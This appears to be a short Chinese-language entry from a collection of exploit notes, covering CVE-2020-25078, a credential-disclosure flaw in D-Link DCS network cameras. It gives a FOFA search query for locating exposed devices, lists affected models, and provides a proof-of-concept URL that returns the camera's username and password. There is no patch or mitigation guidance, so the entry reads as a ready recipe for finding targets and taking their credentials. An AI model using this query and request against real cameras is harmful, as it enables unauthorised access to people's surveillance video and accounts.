D-Link DCS系列监控 账号密码信息泄露 CVE-2020-25078.md

D-Link DCS系列监控 账号密码信息泄露 CVE-2020-25078

D-Link DCS系列监控 通过访问特定的URL得到账号密码信息，攻击者通过漏洞进入后台可以获取视频监控页面。

FOFA：

app="D_Link-DCS-2530L"

影响版本：

• DCS-2530L
• DCS-2670L
• DCS-4603
• DCS-4622
• 等多个DCS系列系统

PoC：

http://xxx.xxx.xxx.xxx/config/getuser?index=0

ref:

https://mp.weixin.qq.com/s/b7jyA5sylkDNauQbwZKvBg